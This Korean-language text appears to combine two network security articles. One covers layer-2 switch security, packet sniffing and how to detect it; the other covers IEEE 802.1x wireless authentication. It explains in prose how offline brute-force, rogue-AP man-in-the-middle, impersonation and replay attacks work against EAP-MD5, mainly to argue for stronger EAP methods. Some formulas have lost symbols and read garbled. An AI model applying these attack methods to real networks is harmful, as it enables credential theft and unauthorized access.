    인터넷을 접속하고자 하는 사용자의 컴퓨터는 랜(LAN) 케이블을 통해 허브나 스위치로 연결되어 있으며, 허브나 스위치는 라우터와 연결되어 라우터가 제공하는 네트워크 경로에 따라 외부 네트워크와 연결된다. 이 때 스위치는 어떤 네트워크에도 설치되어 있고 쉽게 볼 수 있는 장비이기 때문인지, 스위치에 대한 보안은 큰 고민을 하지 않는 게 현실이다.

    각종 애플리케이션 서버, 3계층 동작의 라우터와 백본 스위치 등에 대한 보안 투자는 활발히 이뤄지는 반면, 2계층의 보안은 상대적으로 미비한 수준이다. 서버, 라우터 등의 보안은 철저하지만 서버가 연결된 2계층의 침해가 발생한다면 서버가 100% 정상적으로 동작되더라도 서비스 장애는 발생할 것이다. 보안은 균형적으로 이뤄져야 한다.


    2계층의 보안

    OSI-7 레이어 모델은 통신하는 상호간의 정보가 없음에도 서로 다른 계층간에 동작할 수 있도록 설계됐다. <그림 1>은 호스트 A와 호스트 B간의 OSI-7 레이어 모델을 도식화한 것이다. 각 계층은 인캡슐레이션(encapsulation)과 디-인캡슐레이션(de-encapsulation)을 통해 상호 통신하게 된다.



    <그림1> 호스트 A와 호스트 B간 OSI-7 레이어 모델



    만약 2계층인 데이터 링크 계층의 침해가 발생할 때 그 영향으로 상위 계층으로 확산되어 상호 데이터 전송의 문제가 발생되는 ‘도미노 효과(Domino Effect)’ 현상이 발생한다. <그림 2>와 같이 2계층의 공격은 네트워크의 운영 및 응용프로그램 장애로 확대되므로 침해 영향을 최소화하기 위한 보안정책을 고민해야 한다.



    <그림2> 도미노 효과



    2계층의 공격은 장비 공격과 트래픽 흐름을 변경(traffic redirection)하는 네트워크 공격으로 크게 분류할 수 있는데, 장비공격은 스위치의 허술한 보안설정, 관리정책과 동작원리 등의 취약점을 이용한 공격이며, 네트워크 공격은 2계층의 통신원리를 이용해 불법적으로 트래픽 흐름을 변조하는 공격이다.


    2계층 통신 원리

    랜 환경의 호스트들은 두개의 주소를 가지고 있다. 하나는 MAC(Media Access Control) 주소로 네트워크 내의 각 노드를 구별할 수 있는 고유한 인식표로 생각할 수 있으며 네트워크 카드 내에 저장되어 있어, 호스트로부터 데이터를 전송하는 단위인 프레임으로 변화할 때 이더넷 프로토콜에 의해 사용되고, 다른 주소인 IP 주소는 애플리케이션에 의해 사용된다.

    2계층에서 특정 호스트로 데이터를 전송할 경우 IP 주소를 사용하기보다 MAC 주소를 포함하고 있는 이더넷 헤더를 이용하므로, IP 주소를 네트워크 카드의 하드웨어 주소인 MAC 주소로 파악하는 과정이 필요하다. 데이터를 전송하는 호스트는 내부에 저장된 일종의 테이블에서 수신할 호스트의 MAC 주소 검색이 시작되며, 만약 해당 정보가 존재하지 않을 경우, 수신할 호스트의 정보를 네트워크 상에 브로드캐스트(broadcast)하게 된다. 이때 내부에 저장된 정보를 ARP 캐시라고 정의하며, 브로드캐스트된 정보를 ARP 리퀘스트라고 정의한다.

    ARP 리퀘스트를 전송하는 호스트는 자신의 정보를 포함해 전달했으므로, 네트워크 내의 ARP 정보를 수신한 해당 호스트는 자신의 MAC 주소를 전송한 호스트로 알려주어 결국 데이터를 전송하는 호스트는 수신할 호스트의 MAC 주소를 파악하게 되어 통신하게 된다. 이렇게 IP 주소를 MAC 주소로의 변환하는 과정을 ARP라고 정의한다. <그림 3>은 ARP의 예이다.



    <그림3> ARP 사례



    패킷 스니핑

    이더넷 환경은 공유된 이더넷(Shared Ethernet)과 스위치화된 이더넷(Switched Ethernet) 두 가지로 크게 구분될 수 있으며, 환경에 따라 스니핑 가능성은 차이가 있다. 패킷 스니핑을 위한 필수적인 요구사항은 네트워크 카드의 프로미스큐어스 모드(promiscuous mode)이다.

    일반적으로 인터페이스 카드는 수신한 패킷들이 자신을 목적지로 하는 트래픽이 아닐 경우 폐기하지만, 프로미스큐어스 모드는 패킷 정보를 모두 수용하므로 네트워크 상의 모든 패킷을 수신할 수 있으므로, 사용 목적에 따라 악용될 가능성도 있다.

  • 공유된 이더넷 : 동일한 버스(bus)로 연결된 모든 호스트는 대역폭을 공유하게 된다. 이러한 경우 두 호스트간 데이터를 전송할 때, 해당 호스트뿐만 아니라 연결된 모든 호스트들에게도 데이터가 전송되는 문제점이 있다.

  • 스위치 환경 이더넷 : 허브 대신 스위치로 구성되어 있으므로 스위치 환경 이더넷이라 불린다. 스위치는 연결된 호스트들의 MAC 주소 정보와 해당 MAC 주소가 어떤 물리적인 포트에 위치하고 있는지 파악하고 있다. 이러한 스위치의 지능적인 기능으로 호스트간 통신을 할 때, 공유 이더넷 방식과는 달리 스위치가 목적지의 MAC 주소 정보를 검색해 물리적으로 연결된 포트로만 데이터를 전송하므로, 연결된 모든 호스트들에게 데이터를 전송하지 않는다.


    패킷 스니핑의 보안 위협

    보안상 패킷 스니핑의 문제점은 공격자가 네트워크 상의 데이터를 수집하여, 분석할 수 있다는 것이다. 자주 이용하는 프로토콜 중 텔넷, SNMP, POP, FTP, IMAP, NNTP 등은 데이터의 내용이 평문(clear text)이므로 계정, 패스워드 등의 주요 정보가 유출될 위험이 매우 크다. 근래 의사소통 및 업무용으로 활성화된 IM(Instance Messenger) 역시 통신하는 내용이 평문으로 전송되므로 개인정보의 유출의 위협이 존재한다.

    유닉스 계열의 스니핑 툴은 Tcp dump, Ethereal, Dsniff, Snort, Sniffit와 Trinux 등과 윈도 계열의 스니핑 툴인 Ethereal, Windump, Network Associates Sniffer, EtherPeek, Analyzer 등 무수히 많은 툴들이 존재하며, 툴들의 지능화로 디코드(decode) 기능이 보강되어 전문적인 사전지식 없이도 수집된 데이터들을 쉽게 분석, 파악할 수 있다. 디코드 기능이란 스니퍼의 각 패킷단위로 수집한 내용을 조합해 완전한 데이터로 복원하는 기능이다. 예를 들어 텔넷의 패스워드가 abc라고 가정하면 스니퍼를 이용하여 볼 수 있는 내용은 a, b와 c 각각 보이지만, 디코드 기능을 이용하면 abc를 모두 조합시켜 보여준다. 이것은 수집된 수많은 패킷들을 사용자가 하나하나 찾아서 조합하는 과정을 툴이 자동적으로 해결해 준다는 편이성을 제공한다.


    패킷 스니핑의 보안 대책

    첫 번째, 공유된 이더넷 환경인 허브(HUB)를 사용하는 구성에서는 반드시 스위치 장비로 교환해야 한다. 네트워크 규모 및 운영 특성에 맞게 소호형의 저가형 스위치부터 대용량, 고성능의 고가형 스위치까지 매우 다양하므로 적절히 선택할 수 있다. 스위치의 교환으로 스니퍼만을 이용한 단순한 스니핑의 위협에서 해방될 수 있다.

    두 번째, 스위치화된 이더넷 환경이라도 안전하지는 않다. 왜냐하면 스위치를 공격해 스니핑이 가능하도록 하는 MAC 플루딩, ARP 스푸핑 등의 공격 방법들이 있다. 네트워크 관리자는 프로미스큐어스 모드로 운영되는 네트워크 카드가 존재하는지, 혹은 공격 여부에 대해 주기적인 파악이 필요하다.

  • 핑 방법 : 의심되는 호스트로 핑 리퀘스트를 전송한다. 정상적인 호스트라면 MAC 주소가 해당하지 않으므로 응답이 없어야 하지만, 프로미스큐어스 모드의 공격 호스트는 MAC 주소의 비교로 패킷을 폐기하지 않으므로 응답을 전송한다. 하지만 이 방법은 오래된 방법이고, 근래에는 신뢰할 수 없는 방법이다.

  • ARP 방법 : 호스트는 ARP 정보를 캐시(임시저장)한다. 논-브로드캐스트(non-broadcast) ARP를 전송하면, 프로미스큐어스 모드의 공격 호스트는 ARP 주소를 캐시하고, 다시 IP와 함께 핑 패킷을 브로드캐스트하는데, 이때의 MAC 주소는 전과 다르다. 오직 공격자의 호스트만이 스니핑된 ARP 정보를 통하여 정상적인 MAC 주소로 응답을 줄 것이다.

  • 로컬 호스트의 검사: 만약 특정 호스트가 공격으로 인해 프로미스큐어스 모드로 운영될 가능성도 존재한다. ifconfig 명령을 통해 확인할 수 있다. 프로미스큐어스 모드로 동작하고 있다면 ‘RUNNING PROMISC’라는 문구를 확인할 수 있다.

    지연 방법 : 이 방법은 매우 단순한 원리로 대부분의 스니퍼는 파싱(parsing)을 하고 있다는 점에 착안해 네트워크 상에 대용량의 데이터를 전송하고 의심되는 호스트로 데이터 전송전과 전송하는 동안 핑 체크를 한다. 만약 호스트가 프로미스큐어스 모드라면, 대용량의 데이터를 파싱해야 하므로 부하가 증가하여 핑 패킷에 대한 응답시간이 늦어질 것이다. 단 이 방법은 네트워크로 인한 지연시간 등 환경적인 요소가 많으므로, 결과에 대한 폴스 포지티브(false-positive) 가능성도 존재한다.

    세 번째, 스니핑 탐지 전용 툴을 활용해야 한다. ARP 와치(MAC 주소와 IP 주소를 비교, 모니터링하고 있으며, 중복되는 경우 탐지하여 알람 등을 출력), Anitsniff(스니퍼 탐지 툴), CPM(Check promiscuous mode), Neped(네트워크 상에 패킷 스니퍼의 동작을 탐지) 등 스니핑 탐지 전문 툴을 활용함으로써 불법적인 공격자를 탐지할 수 있으며, 효과적인 방법이라 할 수 있다.

    네 번째, IDS를 활용하라. 스니핑 뿐만 아니라 여러 가지 공격에 대한 효과적인 보안대책이다. IDS는 침입탐지시스템으로 스니핑 공격유형 뿐만 아니라 다수의 공격에 대해서도 탐지할 수 있다. 대부분 상용과 비상용 제품이 있다.

    다섯 번째, 장비의 보안설정을 강화해야 한다. 각 네트워크 장비 벤더마다 제공하는 보안기능의 활성화 및 정확한 설정으로 공격의 가능성을 최소화할 수 있다.

    여섯 번째, 스니핑의 위협이 언제나 존재하고 있음을 상기하고, 주요 장비 혹은 시스템 접속시 SSL, SSH 등의 암호화 프로토콜을 이용함으로써, 공격자가 스니핑으로 데이터를 수집하더라도 암호화된 내용만을 볼 수 있으므로, 정보유출의 가능성을 줄 일 수 있다.

    마지막으로, 가장 중요한 점은 스위치화된 환경의 필수적인 패킷 스니핑 조건은 내부로의 물리적인 연결이 선행되어야 하는 점이다. 공격자는 반드시 랜 케이블로 해당 네트워크로 연결되어야 하므로 물리적 공간의 출입통제 및 네트워크의 관리적 보안이 근본적인 보안대책이 될 수 있다.


    기존 무선랜의 구성 방식은 보안이 매우 취약하다는 사실을 구체적인 공격 유형별 분석을 통해 설명했다. 이번 에는 기존 무선랜의 취약한 보안을 강화하기 위해 도입된 IEEE 802.1x 규격에 대해 살펴보고 또한 IEEE 802.1x를 도입했을 때 가능한 공격들을 알아보자. <편집자>

    기존의 WEP 암호화 방식은 취약한 보안으로 인해 기업환경에서는 거의 사용이 불가능해진 상태이다. 따라서 이러한 표준 기반의 무선랜 규격의 취약점을 보완하기 위해 여러 가지 노력들이 이뤄졌는데 그 중 대표적인 방법들은 다음과 같다.

    · WEP 암호화 키 길이의 증가(40비트에서 104비트)
    · 검증된 보안 방식의 도입(IPSec을 이용한 VPN)
    · IEEE 802.1x 규격의 무선랜 적용


    WEP 암호화 키 길이의 증가로 인한 무선랜 보안

    WEP 암호화 키 길이의 증가는 실질적으로 보안의 강화를 구현하지 못했다. 단순한 암호화 키 길이의 증가는 WEP 알고리즘 자체의 보안에는 큰 영향을 미치지 못하기 때문이다. 즉, WEP 암호화 키 길이가 증가하더라도 WEP 키를 복구하는 공격에 소요되는 시간은 암호화 키 길이에 비례하여 104비트 길이의 경우라도 현실적인 시간 내에 공격이 가능하기 때문이다.

    또한 검증된 보안 방식의 도입은 무선랜 환경에 적합하지 않아 사용이 어렵게 되었다. 기존 IPSec을 이용한 VPN의 경우 AP의 역할이 단순한 허브(Hub)로 제한되어 클라이언트와 VPN 콘센트레이터(Concentrator)간 단대단(End-to-End) 암호화 통신을 하게 된다. 그러나 이러한 구성에는 몇 가지 취약점이 발견되는데 이러한 취약점들은 다음과 같다.

    1) 데이터 링크 계층에서의 보안 취약점을 네트워크 계층에서 보완함으로 인해 여전히 데이터 링크 계층에서의 보안 취약점이 존재

      - IPSec으로 암호화되지 않는 패킷들은 모두 공격자에게 공개되어 있다.
      - 기존 MAC 스푸핑(Spoofing), 가상랜 홉핑(Hopping), ARP 포지셔닝(Poisoning) 등 데이터·링크 계층에서의 공격들은 방어하기가 어렵다.



    2) AP라는 개체는 공격자에게 완전히 개방된 존재이므로 AP에 대한 접속이나 공격 및 AP를 경유한 클라이언트에 대한 공격 방어 방법 부재

      - AP에 대한 접근 제어 기능이 없으므로 물리적 접속(Association)은 언제나 가능하다.
      - 일부 AP에서만 제공하는 클라이언트간 직접 통신 금지(Inter-Client Communication Blocking) 기능이 없을 경우 AP단에서 각 클라이언트에 대한 직접적인 공격이 가능하다.
      - AP에 대해 DoS 공격 등 다양한 공격이 가능하며 공격자가 AP에 대한 관리 권한을 획득하게 되면 해당 AP를 공격자가 제어할 수도 있다.



    3) AP간 로밍(Roaming)이나 접속 제한, 권한 제한 등을 위해 별도의 접근 제어기(Access Controller)가 필요

    <그림1> VPN 기반 접근 제어기를 사용할 경우 네트워크 구성도




    또한 이러한 접근 제어기와 VPN 콘센트레이터가 혼합된 경우 게이트웨이 형태를 유지하게 되어 성능상 제한 사항이 발생한다. 즉, 모든 무선랜 트래픽이 하나의 게이트웨이를 통해 전송되므로 병목 현상이 발생할 수 있다. 더군다나 현재 출시되고 있는 IEEE 802.11a 혹은 IEEE 802.11g 규격의 무선랜인 경우 IEEE 802.11b 규격의 제품들에 비해 약 5배 정도 향상된 성능을 보이므로 병목 현상이 심화될 수 있다.

    이러한 병목 현상을 극복하기 위해서는 게이트웨이의 수를 늘리고 필요한 경우 L4 스위치와 같은 로드 밸런싱 장비가 필요해 무선랜 설치에 보안 장비에 대한 투자가 무선랜 구축보다 더 많이 필요한 형태가 된다. 기업 네트워크 환경에서는 상당한 부담이 아닐 수 없다.

    <그림2> 무선랜 보안 방식의 발전 방향



    IEEE 802.1x를 이용한 무선랜 보안

    IEEE 802.1x 규격의 무선랜에 대한 적용은 위 방법들에 비해 현실적이고도 강력한 보안을 제공할 수 있는 방법이다. 이미 표준화 단체에서 IEEE 802.1x를 도입하기로 결정돼 현재 IEEE 802.11 TGi에서는 IEEE 802.1x 적용을 드래프트에 포함시켰으며 Wi-Fi(Wireless Fidelity)에서도 WPA(Wi-Fi Protected Access) 규격에 IEEE 802.1x 적용을 포함한 상태이다. 또한 IETF 역시 래디우스를 무선랜에 적용하는 IEEE 802.1x 규격에 적용할 수 있는 표준 RFC 문서를 발표함으로써 IEEE 802.1x가 최선의 선택임을 증명하고 있다.

    원래 IEEE 802.1x가 개발된 목적은 무선랜이 아니지만 무선랜에서도 적용이 가능한 형태로 변화하고 있다. 무선랜은 기존 802.3 미디어와 달리 쉐어드 미디엄(Shared Medium)이면서도 포인트 투 포인트(Point-to-Point) 형식의 연결을 취하고 있다. 즉, 물리적으로는 같은 전송 매체를 사용하지만 AP와 클라이언트간 연합(Association)을 통해 가상의 포트 개념을 사용하고 있다. 마치 유선상에서 스위치의 포트와도 같은 개념이 될 수 있다.

    따라서 각 클라이언트 별 연합에 대해 포트 상태를 IEEE 802.1x에서 정의하고 있는 인증(Controlled) 상태와 비 인증(Uncontrolled) 상태로 정의하게 되면 AP에 대한 접근 제어가 가능해 진다.

    <그림3> IEEE 802.1x 구성 요소



    IEEE 802.1x 규격에서는 크게 세 종류의 개체를 정의하고 있다. 첫 번째는 요구자(Supplicant)이며, 두 번째는 인증자(Authenticator), 그리고 세 번째는 인증 서버(Authentication Server)다. 요구자(Supplicant)는 인증자로부터 인증 요청을 받았을 때 사용자의 식별 정보(User Credential)를 전달하는 개체다.

    인증자는 요구자에게 인증을 요구하고 전달 받은 사용자 식별 정보를 이용해 인증 서버에게 인증 서비스를 요청하는 개체다. 인증자는 또한 해당 사용자의 접속 포트 상태를 관리하며 인증 서버의 인증 결과에 따라 포트를 인증 상태 혹은 비 인증 상태로 설정하게 된다.

    인증 서버는 인증자로부터 사용자에 대한 인증 요청을 받아서 인증 서비스를 제공하는 개체로서 사용자의 식별 정보를 미리 가지고 있어야 한다. 인증 서버는 논리적으로는 인증자와 역할이 분리되어 있지만 물리적으로도 반드시 인증자와 분리될 필요는 없다. IEEE 802.1x 규격에서는 요구자, 인증자, 그리고 인증 서버간의 전체적인 인증 메커니즘을 규정하고 있으며 요구자와 인증자 사이에서는 확장 가능한 인증 프로토콜(Extensible Authentication Protocol, 이하 EAP)을 MAC 계층에서 사용하도록 규정하고 있다.

    EAP가 MAC 계층에서 전달되기 때문에 이러한 프로토콜을 EAPoL(EAP over LAN)이라고 부른다. 무선랜인 경우 EAPoW(EAP over Wireless)라고도 불리는 경우가 있지만 무선랜인 경우라고 할 지라도 실제로 패킷은 이더넷 패킷으로 전달되므로 유선과 동일하다고 하겠다. 인증자와 인증 서버간 통신프로토콜은 별도로 규정하고 있지는 않지만 부가조건(Annex)을 통해서 래디우스(Remote Authentication Dial In User Service) 프로토콜에 대한 기본적인 참조 모델을 제시하고 있다.

    <그림4> IEEE 802.1x 구성 요소



    이에 따라 현재 대부분의 인증자 벤더들은 래디우스 프로토콜을 기반으로 제조하고 있으며 IETF에서는 래디우스를 IEEE 802.1x에 적용하기 위한 표준 가이드라인을 RFC3580으로 제시했다. 현재 표준안에서 제시하는 형태는 EAP에서는 EAP-MD5와 EAP-TLS 등이 있으며 드래프트 상으로 EAP-TTLS와 PEAP 등이 있다. 그러면 이제 각각의 프로토콜이 적용된 형태와 공격 유형에 대해 알아보자.

    IEEE 802.1x with EAP-MD5

    EAP-MD5는 CHAP(Challenge Handshake Authentication Protocol)을 EAP 상에서 구현한 것으로서 일반적인 프로토콜 흐름은 다음과 같다.

    <그림5> EAP-MD5 프로토콜 흐름도



    EAP-MD5는 서버에서 난수 형태의 시도(Challenge)를 보내면 클라이언트에서 사용자 패스워드와 MD5 해쉬 함수를 이용하여 응답(Response)을 보내게 된다. 서버는 자신이 만든 시도와 서버에 저장된 사용자 패스워드를 가지고 응답을 만들어서 클라이언트가 전송한 응답값과 비교하여 일치하면 인증 성공을 보내고 일치하지 않으면 인증 실패를 보내게 된다.

    EAP-MD5는 동적 암호화 키를 생성할 수 없으므로 WEP 암호화를 하지 않거나 하더라도 스테이틱(Static) WEP 키를 사용해서 암호화를 해야만 한다. 따라서 IEEE 802.1x 규격이 적용되지 않은 상태에서의 공격과 같은 형태의 도청 공격은 모두 가능하다.
    그럼 IEEE 802.1x가 적용되고 EAP-MD5를 적용할 경우에 대한 공격 유형들을 알아보자.

    공격 유형 1. Off-Line Brute-Force Attack

    최초의 ‘EAP-Request/Identity’ 메시지에 대한 응답인 ‘EAP-Response/Identity’ 메시지는 사용자의 ID를 전송한다. 따라서 공격자는 무선 구간의 스니핑을 통해 사용자의 ID와 서버의 시도, 그리고 클라이언트의 응답의 세 가지 항목(Triplet)을 수집하게 된다.

    여기서 사용자 A의 ID를 IDA라고 하고 서버의 시도를 CHN, 그리고 이에 대한 클라이언트의 응답을 RESPN이라고 가정한다. 그러면 EAP-MD5 프로토콜에 따라 RESPN은 다음과 같이 생성되었다고 가정할 수 있다.
    RESPN = HashMD5(EAP Identifier||PWA||CHN)

    여기서 EAP 아이덴티파이어(Identifier)는 EAP 패킷의 아이덴티피어 필드 값으로서 EAP 패킷 형식의 일부이므로 무선 구간의 스니핑을 통해 공격자가 쉽게 알 수 있다. PWA는 사용자 A의 비밀번호라고 정의한다. 따라서 현재 공격자가 알 수 없는 값은 PWA인 것이다.

    만약 공격자가 PWA이라는 값을 추측해서 RESPN이라는 값을 계산했을 경우 RESPN과 RESPN이 일치하면 PWA과 PWA는 일치할 것이다.

    이러한 속성은 해쉬(Hash)MD5 함수의 속성과 관련이 있다. 일반적으로 암호학적인 해쉬 함수인 경우 단방향 함수(One-way Function), 독자성(Uniqueness) 등을 만족해야 하는데 MD5 해쉬 알고리즘의 경우 이러한 부분을 대부분 만족하고 있다. 따라서 RESPN과 RESPN의 값이 일치할 때 PWA와 PWA의 값이 일치하지 않는 경우는 확률적으로 0에 가깝다고 봐도 무방할 것이다.

    현재 MD크랙(Crack)과 같은 MD5 알고리즘 브루트-포스 어택(Brute-Force Attack) 툴의 경우 8자리 숫자 패스워드의 경우 1분 이내 크래킹이 가능하며 영문자 소문자와 숫자가 섞여 있는 경우 8자리 이하의 패스워드의 경우 약 1주 정도가 소요된다. 따라서 EAP-MD5를 사용할 경우 사용자 패스워드는 엄격한 룰을 적용하여 영문자 대소문자와 숫자를 섞어서 12자리 이상으로 하되 적어도 1개월 미만의 주기로 패스워드를 변경하도록 해야만 한다.

    공격 유형 2. 중간자 공격 및 의인화 공격

    EAP-MD5를 이용한 인증 프로토콜이 가지는 한계중의 하나는 양방향 인증을 제공하지 않는다는 점이다. 즉, 서버는 사용자를 인증하지만 사용자는 서버를 인증할 수 없다. 따라서 이 점을 이용하면 여러 가지 형태의 공격이 가능해 지는데 대표적인 것이 중간자 공격(MitM attack)과 의인화(Impersonation) 공격이다.

    중간자 공격은 사용자와 인증 서버간 트래픽을 중간에서 가로채는 방식으로 굳이 사용자의 패스워드를 알지 못해도 적용 가능한 공격 방법이다.

    중간자 공격은 사용자의 트래픽을 가로채는 방식이므로 어느 지점에서 가로챌 수 있을 지에 대한 검토가 필요하다. 지난 회에서 언급했지만 오픈 인증(Open Authentication) 모드일 때 동일한 ESSID를 사용할 경우 사용자는 전파 환경이 더 나은 AP로 접속하게 된다. 따라서 로그(Rogue) AP를 이용해 중간자 공격을 시도할 수 있다.

    사용자는 공격자의 AP를 자신이 접속해야 할 AP로 생각하고 접속하여 ID와 EAP-MD5 프로토콜에 따른 인증 절차를 진행하게 된다. 공격자는 자신이 설치한 AP로부터 전송되는 데이터를 실제 사용자가 접속해야만 하는 AP로 접속하여 전송하기만 하면 된다. 최종적으로 실제 AP로부터 인증 성공 메시지를 받고 망에 대한 접근을 허락 받으면 공격자는 사용자에게 인증 실패 메시지만 전달하면 된다. 이러한 방식으로 사용자의 ID와 패스워드를 모르는 상태에서도 망에 대해 접근을 시도할 수 있다.

    그러나 이러한 방식은 무선에서는 큰 효과가 없을 수도 있다. 우선 사용자와 공격자 간 무선 환경의 차이가 커야 하며 또한 공격자가 망에 대한 접근 권한을 얻었더라도 실제로 사용자가 인증 실패 후 재시도를 하는 경우가 많으므로 이에 대한 재시도 방지 대책이 있어야 하기 때문이다.

    의인화 공격은 MitM 공격에 비해 현실적으로 가능성이 더 높은 공격 방법이다. MitM 공격과 비슷한 형태로 구성이 되지만 차이점은 사용자로부터 데이터만 수집하고 실제 ID와 패스워드를 공격한다는 점이 차이가 있다.

    일반적으로 브르트-포스(Brute-Force) 공격을 하기 위해 데이터를 수집하면 충분한 길이의 시도를 생성하므로 실제 MD5 알고리즘을 연산하기 위한 연산양이 증가할 수 있다. 그러나 의인화 공격을 이용하면 공격자는 자신이 원하는 길이와 원하는 값을 시도로 전달할 수 있으며 또한 EAP 아이덴티파이어 역시 일정한 값으로 전달할 수 있다. 따라서 부르크 포스 공격을 훨씬 원활하게 진행할 수 있다.

    <그림6> 중간자 공격



    공격 유형 3. 재반복 공격

    공격자는 무선 구간에서의 스니핑을 통해 사용자 ID와 EAP 아이덴티파이어, 서버로부터의 시도와 사용자의 응답으로 이루어진 리스트를 만들어 낼 수 있다. 이러한 리스트가 만들어지면 공격자는 AP에 접속하여 사용자 ID를 ‘EAP-Response/Identity’ 메시지를 통해 전송하여 서버가 ‘EAP-Request/MD5-Challenge’ 값을 전송하도록 해 만약 자신의 리스트에 해당하는 값이 있으면 그 값에 해당하는 응답을 보내어 망에 대한 접근 권한을 획득할 수 있다.

    이러한 재반복 공격이 가능한 것은 일반적인 시도-응답 프로토콜에서는 재반복 공격을 방어할 수 있는 메커니즘이 필요한데 EAP-MD5 에서는 이러한 재반복 방어 알고리즘이 없기 때문이다.


    IEEE 802.1x with EAP-TLS

    이상과 같이 IEEE 802.1x를 적용하더라도 EAP-MD5 인증 알고리즘을 적용할 경우 여러 가지 유형의 공격들이 가능해 진다. 따라서 EAP-MD5는 사실상 무선랜 환경에서 사용자 인증용으로 사용하기 어려운 프로토콜이며 실제로 마이크로소프트 역시 자사의 ‘와이어리스 제로 컨피규레이션(Wireless Zero Configuration)’ 서비스에서 EAP-MD5 인증은 더 이상 제공하지 않는다.

    따라서 IEEE 802.1x를 이용하여 보다 강력한 보안을 무선랜 환경에서 구축하기 위해서는 양방향 인증과 다이내믹 WEP 혹은 TKIP를 이용할 수 있도록 새로운 암호화 키를 생성할 수 있는 인증 알고리즘이 필요하게 된다. 이러한 조건들을 만족하는 인증 알고리즘이 EAP-TLS이다.

    EAP-TLS는 TLS(Transport Layer Security) 프로토콜을 EAP 상에서 구현한 알고리즘으로 공개키 기반 인증서를 이용하여 선택적으로 양방향 인증을 수행하며 인증 후 TLS 레코드 레이어(Record Layer)에서 사용하는 암호화 키 생성 알고리즘을 이용하여 PMK(Pairwise Master Key)를 생성하여 WEP 키 혹은 TKIP의 PTK를 생성하는데 사용한다. 따라서 EAP-TLS의 경우 구축할 때 양방향 인증을 반드시 적용하면 보안적인 측면에서 위에서 설명했던 취약점들을 모두 극복하고 있다.

    그러나 EAP-TLS 역시 몇 가지 단점을 보이고 있는데 첫째는 관리상의 어려움이고 둘째는 인증서 확인 절차상의 문제점이다. EAP-TLS는 공개키 인증서 기반의 인증을 수행하는데 서버는 물론이고 각 사용자들도 개인키 정보와 공개키 인증서를 가지고 있어야 한다. 또한 사용자가 서버 인증서를 확인하기 위해서 서버 인증서를 발급한 루트 CA 인증서를 가지고 있어야 한다. 이러한 정보들은 온라인으로 쉽게 전달될 수 있는 형태가 아니라 오프라인으로 신원 확인 후 인증서 발급 절차를 거쳐야 하는 등 상당한 관리상의 부담을 초래한다.

    물론 기존에 공개키 기반 구조가 갖추어져 있는 기업이라면 기존 사용중인 인증서를 그대로 이용하여 EAP-TLS 기반의 무선랜 보안 구조를 구축할 수 있다. 그러나 이러한 공개키 기반 구조가 없다고 하면 관리자가 모든 사용자에게 일일이 인증서를 다 발급해야 하므로 큰 부담이 아닐 수 없다.

    인증서 확인 절차 상의 문제점은 TLS를 EAP에 적용하다 보니 발생하는 문제점이다. 기존 TLS의 경우 레이어 4에서 적용되므로 사용자가 서버의 인증서를 확인하기 위해 상위 인증서 발급 기관으로 확인할 수 있는 방법이 있었으나 무선랜에서 IEEE 802.1x와 EAP-TLS를 적용하게 되면 레이어 2에서 확인해야 하므로 온라인으로 상위 인증기관으로 접속할 수 있는 방법이 없다. 따라서 사용자가 서버를 인증하고자 하는 경우 미리 저장된 상위 인증 기관의 공개키 인증서를 이용할 수밖에 없다.


    IEEE 802.1x with EAP-TTLS

    EAP-TLS의 문제점들을 해결하기 위해 EAP-TTLS(EAP -Tunneled TLS)와 PEAP(Protected EAP)라는 새로운 프로토콜들이 제안되어 현재 인터넷 드래프트로 IETF에서 진행 중에 있다.

    EAP-TTLS와 PEAP는 TLS 알고리즘을 이용하여 선택적으로 서버에 대한 인증을 수행하고 TLS 핸드쉐이크(Handshake) 과정 후에 생성되는 세션키를 이용하여 암호화 터널을 만든 다음 이러한 터널 내부에서 새로운 인증 알고리즘을 적용하여 사용자에 대한 인증을 하는 방식이다. EAP-TTLS의 경우 터널 내부에서 사용 가능한 인증 알고리즘들은 EAP와 CHAP, MSCHAP 등이 있으며 PEAP의 경우 EAP만을 사용 가능하도록 하고 있다. 현재 EAP-TTLS는 드래프트 버전 3까지 발표되었으며 PEAP의 경우 드래프트 버전 7을 통해 PEAP v2까지 발표되어 있다. 마이크로소프트사의 경우 PEAP에 대해 별도의 드래프트 규격을 발표하여 PEAP v0의 형태로 발표되어 있다. 따라서 현재 윈도 XP나 윈도 2000 등에서 제공되는 보호된 EAP(PEAP)의 경우 PEAP v0을 의미한다.

    EAP-TTLS나 PEAP와 같은 형태의 프로토콜들을 일반적으로 터널 인증 알고리즘이라고 부르는데 이러한 인증 알고리즘의 경우 두 단계로 인증이 나뉘어 진다. 첫 번째는 서버 인증을 포함한 터널 생성 단계이고 두 번째는 터널 내부에서 사용자 인증을 진행하는 단계이다. 이러한 터널인증 알고리즘들은 터널 생성 시 암호화 세션 키를 생성할 수 있으므로 무선랜에 적용될 경우 다이내믹 WEP이나 TKIP를 위한 PMK를 생성할 수 있는 기능을 동시에 제공한다. 터널 인증 알고리즘들은 EAP-TLS에 비해 여러 가지 장점들을 제공하는데 일반적으로 터널 내부에서는 패스워드 기반의 인증 프로토콜을 적용하더라도 기존 패스워드 기반의 인증 프로토콜의 보안 취약점들을 극복하고 있다. 이는 터널 내부의 트래픽은 이미 암호화되어 있어 스니핑이나 재반복 공격 등을 방어하고 있기 때문이다.

    따라서 서버 인증은 공개키 인증서 기반으로 수행하더라도 각 사용자들은 자신의 인증 정보를 개인키와 공개키 인증서가 아니라 ID와 패스워드 기반으로 유지할 수 있다. 이로 인해 기존 EAP-TLS가 가지는 관리상의 어려움은 상당 부분 해소된다고 볼 수 있다. 다만 EAP-TTLS나 PEAP 역시 양방향 인증은 옵션이므로 구축 시 반드시 양방향 인증을 수행하도록 구성을 설정해야만 한다. 또한 터널을 생성하는 서버와 터널 내부에서 사용자를 인증하는 서버는 다를 수 있으므로 이 때 각 서버가 반드시 동일한 보안 도메인(Secure Domain) 내에 존재하거나 혹은 VPN 등 보호된 네트워크를 통해 통신할 수 있도록 설정돼야 한다.


    안전한 무선랜 보안 ‘IEEE 802.1x 적용 필수’

    지금까지 살펴본 바로는 무선랜을 안전하게 구축하기 위해서는 IEEE 802.1x 규격의 완전한 적용이 필수적일 뿐만 아니라 내부 인증 알고리즘을 반드시 다이내믹 WEP 알고리즘이나 TKIP 알고리즘을 적용가능 한 인증 알고리즘을 사용해야한다. 또한 인증 알고리즘 적용 시 반드시 양방향 인증을 수행해야 함을 알 수 있다.

